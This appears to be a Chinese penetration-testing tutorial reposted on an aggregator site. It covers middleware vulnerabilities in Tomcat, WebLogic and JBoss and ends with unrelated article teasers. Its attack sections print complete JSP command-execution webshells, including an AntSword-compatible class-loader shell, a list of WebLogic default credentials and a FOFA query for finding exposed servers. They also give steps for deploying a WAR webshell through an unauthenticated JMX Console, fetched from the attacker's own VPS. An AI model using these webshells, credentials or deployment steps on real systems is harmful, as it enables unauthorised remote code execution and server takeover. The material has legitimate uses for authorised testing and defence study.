中间件安全

一.中间件概述

1.中间件定义

  • 介绍:中间件(Middleware)作为一种软件组件,在不同系统、应用程序或服务间扮演着数据与消息传递的关键角色。它常处于应用程序和操作系统之间,就像一座桥梁,负责不同应用程序间的数据传递、通信协调以及网络请求处理

2.中间件的架构与功能

  1. 插件式架构:中间件采用插件式架构,这使得开发人员能轻松将其集成到现有的应用程序里,大大提升了开发的灵活性。

  2. 多样化功能

    • 身份验证与授权:通过身份验证确认用户合法性,再依据授权机制分配不同权限,确保只有合法且权限匹配的用户能访问特定资源。比如企业办公系统,员工凭借用户名和密码登录(身份验证),不同级别员工拥有不同操作权限(授权)。
    • 缓存:缓存常用数据,减少对后端数据库等存储的频繁访问,显著提高系统响应速度。如新闻类应用,将热门文章缓存,用户再次浏览时可快速加载。
    • 负载均衡:把网络请求均匀分散到多个服务器,避免单个服务器负载过重,保障系统在高并发下的稳定运行。以大型电商平台为例,促销活动期间大量用户访问,负载均衡器将请求合理分配。
    • 日志记录:详细记录系统运行中的各类事件,为故障排查、安全审计提供有力依据。如记录服务器上用户的操作行为、登录时间等。
    • 安全性保障:提供基础的安全防护,抵御部分常见网络攻击。

3.中间件范畴

  1. 广义范畴:从广义视角,中间件涵盖了 Web 服务器、身份验证系统、消息传递工具等众多内容。
  2. 具体产品:常见的中间件产品包括 jboss、weblogic、tomcat、apache 等。应用中间件能够有效提升应用程序在可扩展性、可靠性、可维护性以及安全性方面的表现。

二.漏洞剖析

1.漏洞危害

  • 介绍:中间件漏洞指的是中间件软件中存在的安全隐患,攻击者可能利用这些漏洞对系统展开攻击与渗透,从而危及系统安全和数据完整性。

2.漏洞类型

  1. 代码注入漏洞:攻击者向中间件发送恶意代码,借此执行任意代码或获取敏感数据。例如,早期一些未严格过滤输入的 Web 应用,攻击者通过在输入框注入代码,获取数据库关键信息。
  2. 跨站脚本漏洞(XSS):攻击者在中间件输出的网页中插入恶意脚本,可窃取用户信息,如会话 Cookie,或进行恶意重定向等行为。一些小型论坛因缺乏对用户输入内容的有效过滤,曾遭受此类攻击。
  3. SQL 注入漏洞:在中间件处理 SQL 查询时,攻击者插入恶意代码,实现执行任意 SQL 查询,获取数据库敏感数据。如某些管理系统,因对用户输入的查询条件未做严格验证,导致数据库被非法访问。
  4. 认证和授权漏洞:攻击者利用中间件认证与授权机制的缺陷,绕过访问控制,获取系统高级权限。比如某些系统中,攻击者通过篡改认证令牌获取管理员权限。
  5. 文件包含漏洞:攻击者利用中间件的文件包含功能,引入恶意文件并执行其中代码。在一些内容管理系统中,攻击者通过此漏洞上传恶意脚本文件,实现对系统的控制。

3.防御措施

  1. 安全编码:开发人员遵循安全编码规范,对用户输入进行严格验证和过滤,从源头防止恶意代码注入。
  2. 定期更新:及时安装中间件供应商发布的安全补丁,修复已知漏洞,保持中间件的安全性。
  3. 权限管理:合理设置用户权限,遵循最小权限原则,仅赋予用户完成任务所需的最低权限。
  4. 防火墙配置:通过配置防火墙,对中间件的网络访问进行精细控制,阻挡外部非法访问。
  5. 漏洞扫描:借助专业的漏洞扫描工具,定期对中间件进行全面检测,及时发现并修复潜在漏洞。

三.中间件漏洞

1.Tomcat

A.Tomcat
  • 介绍:Tomcat 是一个开源的 Java Servlet 容器,由 Apache 软件基金会开发。Tomcat 对多种 Java 技术提供支持,包括 Java Servlet、JavaServer Pages(JSP)、Java Expression Language(EL)和 WebSocket 等 ,并且拥有许多企业级特性,如集群、安全性和可扩展性,这使其在 Java Web 开发中应用广泛。

  • 使用:

    • 可作为独立的 Web 服务器或应用服务器运行。
    • 也能作为插件集成到其他 Web 服务器,例如 Apache HTTP Server。
B.WAR包
  • 介绍:WAR(Web Application Archive)是 Web 应用程序的一种打包格式,作用是将 Web 应用程序打包成单个文件,极大地方便了应用程序的部署与分发。从本质上讲,WAR 文件属于 JAR(Java Archive)文件的一种,其中包含了 Web 应用程序运行所需的全部内容。

    • 代码相关:Java 类文件,是应用程序逻辑实现的核心部分。
    • 页面相关:HTML、JSP 文件,用于构建用户界面,展示内容给用户。
    • 配置相关:Servlet、XML 配置文件(如 web.xml、context.xml 等),用于配置 Web 应用程序的各种参数和运行规则,决定应用程序如何运行。
    • 静态资源:包含图片、CSS、JavaScript 文件等,用于美化界面和实现交互功能。
C.WAR包上传
  1. 制作WAR包:将jsp木马文件进行压缩后,将压缩文件 .zip​ 改为 .war​

    • jsp文件内容:

      <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
          try {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
              out.println(line);  // 输出命令执行结果
            }
            reader.close();  // 关闭资源
          } catch (IOException e) {
            out.println("Error executing command: " + e.getMessage());
          }
        }
      %>
      
  2. 找到上传点进行上传


  3. 上传成功

  4. 调用一句话木马文件,并成功执行命令


2.Weblogic

  • 介绍: WebLogic Server​ 是美国甲骨文(Oracle​)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE​ 架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和 Java Enterprise​ 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

  • 特征

    1. 默认端口:7001

    2. Web界面:Error 404--Not Found


    3. 控制后台:http://ip:7001/console

  • 历史漏洞


  • 影响版本

    • 10.3.6.0
      12.1.3.0
      12.2.1.1
      12.2.1.2
      12.2.1.3
      14.1.1.0

  • 漏洞寻找

    1. 获取资产:shodan、fofa、zoomeye等

      • 示例:fofa:app="BEA-WebLogic-Server" && country!="CN"​
    2. 批量扫描脚本:Weblogic一键漏洞检测工具_V1.5

  • 漏洞环境搭建

    • docker pull vulhub/weblogic:10.3.6.0-2017

      docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

A.弱口令
  • 介绍:Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的账户名密码。

    • 默认账密

      访问路径:/console

      账号:weblogic

      密码:Oracle@123

  • ​Weblogic​ 默认口令:

    • system/password

      system/Passw0rd

      weblogic/weblogic

      admin/security

      joe/password

      mary/password

      system/security

      wlcsystem/wlcsystem

      wlpisystem/wlpisystem

      • 参考链接:https://cirt.net/passwords?criteria=weblogic
B.GetShell
  1. 准备 .jsp​ 一句话木马文件

    • <%@ page import="java.io.BufferedReader, java.io.InputStreamReader, java.io.IOException" %>
      <%
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
          try {
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
              out.println(line);  // 输出命令执行结果
            }
            reader.close();  // 关闭资源
          } catch (IOException e) {
            out.println("Error executing command: " + e.getMessage());
          }
        }
      %>
      
  2. 登录后台后,点击部署​

  3. 点击安装

  4. 点击上载文件

  5. 上传完,并测试

  6. getshell

    • 注意:上面的 .jsp​ 文件不支持蚁剑,蚁剑连接必须使用下面的 yijian.jsp​ 或蚁剑插件生成的jsp webshell

      • <%@ page import="java.lang.reflect.Method" %>
        <%!
            class U extends ClassLoader {
                U(ClassLoader c) {
                    super(c);
                }
        
                public Class g(byte[] b) {
                    return super.defineClass(b, 0, b.length);
                }
            }
        
            public byte[] base64Decode(String str) throws Exception {
                try {
                    Class clazz = Class.forName("sun.misc.BASE64Decoder");
                    return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
                } catch (Exception e) {
                    Class clazz = Class.forName("java.util.Base64");
                    Object decoder = clazz.getMethod("getDecoder").invoke(null);
                    return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
                }
            }
        %>
        
        <%
            String cls = request.getParameter("ant");
            if (cls != null) {
                new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
            }
        %>
        
        

3.JBoss漏洞

  • 介绍:JBoss是一个用于管理EJB(Enterprise JavaBeans)的容器和服务器。它专注于企业级Java应用的开发与部署,本身核心服务并不包含支持servlet/JSP的WEB容器,在实际应用中,通常会与Tomcat或Jetty绑定使用 ,就如同Apache是常见的web服务器,而JBoss则是专门用来运行Java EE程序的应用服务器。

  • 历史漏洞

    1. 访问控制不严导致的漏洞

      • JMX Console 未授权访问 Getshell:Jboss 的 webUI 界面http://ip:port/jmx-console​存在未授权访问情况,甚至部分存在默认密码admin/admin​。这一漏洞会导致 JBoss 的部署管理信息泄露,攻击者还能借此直接上传木马获取 webshell。
      • Administration Console 弱口令 Getshell:由于用户设置的口令强度不足,攻击者通过简单的猜测或暴力破解,利用弱口令登录 Administration Console,进而获取服务器权限,实现 Getshell。
      • CVE - 2007 - 1036 -- JMX Console HtmlAdaptor Getshell:此漏洞与 JMX Console 的 HtmlAdaptor 相关,攻击者利用该漏洞可以在未授权的情况下获取服务器的控制权,实现 Getshell 操作。
      • CVE - 2010 - 0738 -- JMX 控制台安全验证绕过漏洞:通过特定的手段,攻击者能够绕过 JMX 控制台的安全验证机制,获取对控制台的访问权限,从而进一步实施攻击行为。
    2. 反序列化漏洞

      • CVE - 2013 - 4810 -- JBoss EJBInvokerServlet 反序列化漏洞:JBoss 的 EJBInvokerServlet 存在反序列化漏洞,攻击者可以构造恶意的反序列化数据,利用该漏洞执行任意代码,进而控制服务器。
      • CVE - 2015 - 7501 -- JBoss JMXInvokerServlet 反序列化漏洞:在 JMXInvokerServlet 中,由于反序列化机制的缺陷,攻击者可以发送精心构造的请求,触发反序列化漏洞,实现对服务器的攻击。
      • CVE - 2017 - 7504 -- JBoss 4.x JBossMQ JMS 反序列化漏洞:针对 JBoss 4.x 版本的 JBossMQ JMS 组件,存在反序列化漏洞,攻击者可以利用该漏洞进行远程代码执行,对服务器造成严重威胁。
      • CVE - 2017 - 12149 -- JBosS AS 6.X 反序列化漏洞:在 JBosS AS 6.X 版本中,存在反序列化漏洞,攻击者可以通过发送恶意请求,利用该漏洞获取服务器的控制权。
  • JBoss 漏洞检测工具:一个简单探测jboss漏洞的工具

A.JMX Console 未授权访问漏洞利用
  1. 漏洞利用工具

    • 自动化利用:使用https://gitee.com/yijingsec/JbossVulExploit​进行自动化利用。具体步骤如下:

      • 首先,将文件夹里的bx3.war​放到自己的公网服务器上,然后使用 python 启动一个 http 服务,用于提供 war 包的下载。
      • 运行脚本,在脚本中设置Set target url​为目标网站,Set vps ip​为 war 包所在的 http 服务的 ip,Set vps httpServer port​为所启动的 http 服务的端口。完成设置后,即可自动利用漏洞进行攻击,攻击成功后,可使用冰蝎进行连接,获取服务器的控制权。
  2. 手动利用

    • 远程部署 war 包:

      • 找到jboss.deployment​选项(Jboss 自带的部署功能)中的flavor = URL,type = DeploymentScanner​点进去(通过 url 的方式远程部署)。也可以直接输入以下 URL 进入:http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL​。

      • 进入页面后找到void addURL()​,开始部署远程的 war 包木马。具体操作如下:

        • 打包 jsp 马为 war 包:jar -cvf shell.war shell.jsp​
        • 在 vps 上启动 web 服务:python -m http.server​
        • 确定 war 包下载地址:http://vps - IP:8000/shell.war​
        • 点击Invoke​部署 war 包。
      • 随后点击Back to MBean View​来到URLList​中查看Value​值是否已经部署好,并且为远程 war 木马地址。

      • 最后点击Apply Changes​后耐心等待一会儿(等待时间较长),然后回到JMX - Console​目录中,找到jboss.web.deployment​查看是否存在部署的 war 木马。若存在,则表示部署成功,攻击者可以进一步利用该 war 包获取服务器的控制权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/962353.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

玩转大语言模型——配置图数据库Neo4j(含apoc插件)并导入GraphRAG生成的知识图谱

系列文章目录 玩转大语言模型——使用langchain和Ollama本地部署大语言模型 玩转大语言模型——ollama导入huggingface下载的模型 玩转大语言模型——langchain调用ollama视觉多模态语言模型 玩转大语言模型——使用GraphRAGOllama构建知识图谱 玩转大语言模型——完美解决Gra…

sizeof和strlen的对比与一些杂记

1.sizeof和strlen的对比 1.1sizeof &#xff08;1&#xff09;sizeof是一种操作符 &#xff08;2&#xff09;sizeof计算的是类型或变量所占空间的大小&#xff0c;单位是字节 注意事项&#xff1a; &#xff08;1&#xff09;sizeof 返回的值类型是 size_t&#xff0c;这是一…

书生大模型实战营6

文章目录 L1——基础岛玩转书生「多模态对话」与「AI搜索」产品MindSearch 开源的 AI 搜索引擎书生浦语 InternLM 开源模型官方的对话类产品书生万象 InternVL 开源的视觉语言模型官方的对话产品在知乎上的提交 L1——基础岛 玩转书生「多模态对话」与「AI搜索」产品 MindSea…

three.js+WebGL踩坑经验合集(6.1):负缩放,负定矩阵和行列式的关系(2D版本)

春节忙完一轮&#xff0c;总算可以继续来写博客了。希望在春节假期结束之前能多更新几篇。 这一篇会偏理论多一点。笔者本没打算在这一系列里面重点讲理论&#xff0c;所以像相机矩阵推导这种网上已经很多优质文章的内容&#xff0c;笔者就一笔带过。 然而关于负缩放&#xf…

Baklib解析内容中台与人工智能技术带来的价值与机遇

内容概要 在数字化转型的浪潮中&#xff0c;内容中台与人工智能技术的结合为企业提供了前所未有的发展机遇。内容中台作为一种新的内容管理和生产模式&#xff0c;通过统一管理和协调各种内容资源&#xff0c;帮助企业更高效地整合内外部数据。而人工智能技术则以其强大的数据…

Learning Vue 读书笔记 Chapter 4

4.1 Vue中的嵌套组件和数据流 我们将嵌套的组件称为子组件&#xff0c;而包含它们的组件则称为它们的父组件。 父组件可以通过 props向子组件传递数据&#xff0c;而子组件则可以通过自定义事件&#xff08;emits&#xff09;向父组件发送事件。 4.1.1 使用Props向子组件传递…

小程序电商运营内容真实性增强策略及开源链动2+1模式AI智能名片S2B2C商城系统源码的应用探索

摘要&#xff1a;随着互联网技术的不断发展&#xff0c;小程序电商已成为现代商业的重要组成部分。然而&#xff0c;如何在竞争激烈的市场中增强小程序内容的真实性&#xff0c;提高用户信任度&#xff0c;成为电商运营者面临的一大挑战。本文首先探讨了通过图片、视频等方式增…

【游戏设计原理】96 - 成就感

成就感是玩家体验的核心&#xff0c;它来自完成一件让自己满意的任务&#xff0c;而这种任务通常需要一定的努力和挑战。游戏设计师的目标是通过合理设计任务&#xff0c;不断为玩家提供成就感&#xff0c;保持他们的参与热情。 ARCS行为模式&#xff08;注意力、关联性、自信…

Linux系统上安装与配置 MySQL( CentOS 7 )

目录 1. 下载并安装 MySQL 官方 Yum Repository 2. 启动 MySQL 并查看运行状态 3. 找到 root 用户的初始密码 4. 修改 root 用户密码 5. 设置允许远程登录 6. 在云服务器配置 MySQL 端口 7. 关闭防火墙 8. 解决密码错误的问题 前言 在 Linux 服务器上安装并配置 MySQL …

读书笔记-《Redis设计与实现》(一)数据结构与对象(下)

各位朋友新年快乐~ 今天我们来继续学习 Redis 。 01 整数集合 当集合仅包含整数值&#xff0c;并且元素数量不多时&#xff0c;Redis 就会采用整数集合来作为集合键的底层实现。 typedef struct intset {// 编码方式uint32_t encoding;// 元素数量uint32_t length;// 数组in…

IP服务模型

1. IP数据报 IP数据报中除了包含需要传输的数据外&#xff0c;还包括目标终端的IP地址和发送终端的IP地址。 数据报通过网络从一台路由器跳到另一台路由器&#xff0c;一路从IP源地址传递到IP目标地址。每个路由器都包含一个转发表&#xff0c;该表告诉它在匹配到特定目标地址…

上海亚商投顾:沪指冲高回落 大金融板块全天强势 上海亚商投

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一&#xff0e;市场情绪 市场全天冲高回落&#xff0c;深成指、创业板指午后翻绿。大金融板块全天强势&#xff0c;天茂集团…

数据分析系列--④RapidMiner进行关联分析(案例)

一、核心概念 1.项集&#xff08;Itemset&#xff09; 2.规则&#xff08;Rule&#xff09; 3.支持度&#xff08;Support&#xff09; 3.1 支持度的定义 3.2 支持度的意义 3.3 支持度的应用 3.4 支持度的示例 3.5 支持度的调整 3.6 支持度与其他指标的关系 4.置信度&#xff0…

HTB靶场Adminstrator

文章目录 靶机信息域环境初步信息收集与权限验证FTP 登录尝试SMB 枚举尝试WinRM 登录olivia域用户枚举 获取Michael权限BloodHound 提取域信息GenericAll 获取Benjamin权限ForceChangePasswordftp登录benjamin 获取Emily权限pwsafehashcat 获取Ethan权限获取管理员(Administrat…

C语言指针专题三 -- 指针数组

目录 1. 指针数组的核心原理 2. 指针数组与二维数组的区别 3. 编程实例 4. 常见陷阱与防御 5. 总结 1. 指针数组的核心原理 指针数组是一种特殊数组&#xff0c;其所有元素均为指针类型。每个元素存储一个内存地址&#xff0c;可指向不同类型的数据&#xff08;通常指向同…

Spring Boot - 数据库集成06 - 集成ElasticSearch

Spring boot 集成 ElasticSearch 文章目录 Spring boot 集成 ElasticSearch一&#xff1a;前置工作1&#xff1a;项目搭建和依赖导入2&#xff1a;客户端连接相关构建3&#xff1a;实体类相关注解配置说明 二&#xff1a;客户端client相关操作说明1&#xff1a;检索流程1.1&…

深入理解MySQL 的 索引

索引是一种用来快速检索数据的一种结构, 索引使用的好不好关系到对应的数据库性能方面, 这篇文章我们就来详细的介绍一下数据库的索引。 1. 页面的大小: B 树索引是一种 Key-Value 结构&#xff0c;通过 Key 可以快速查找到对应的 Value。B 树索引由根页面&#xff08;Root&am…

vue之pinia组件的使用

1、搭建pinia环境 cnpm i pinia #安装pinia的组件 cnpm i nanoid #唯一id&#xff0c;相当于uuid cnpm install axios #网络请求组件 2、存储读取数据 存储数据 >> Count.ts文件import {defineStore} from piniaexport const useCountStore defineStore(count,{// a…

【MySQL — 数据库增删改查操作】深入解析MySQL的 Update 和 Delete 操作

1. 测试数据 mysql> select* from exam1; ----------------------------------------- | id | name | Chinese | Math | English | ----------------------------------------- | 1 | 唐三藏 | 67.0 | 98.0 | 56.0 | | 2 | 孙悟空 | 87.0 | 78.…

数据结构与算法之二叉树: LeetCode LCP 10. 二叉树任务调度 (Ts版)

二叉树任务调度 https://leetcode.cn/problems/er-cha-shu-ren-wu-diao-du/description/ 描述 任务调度优化是计算机性能优化的关键任务之一。在任务众多时&#xff0c;不同的调度策略可能会得到不同的总体执行时间&#xff0c;因此寻求一个最优的调度方案是非常有必要的 通…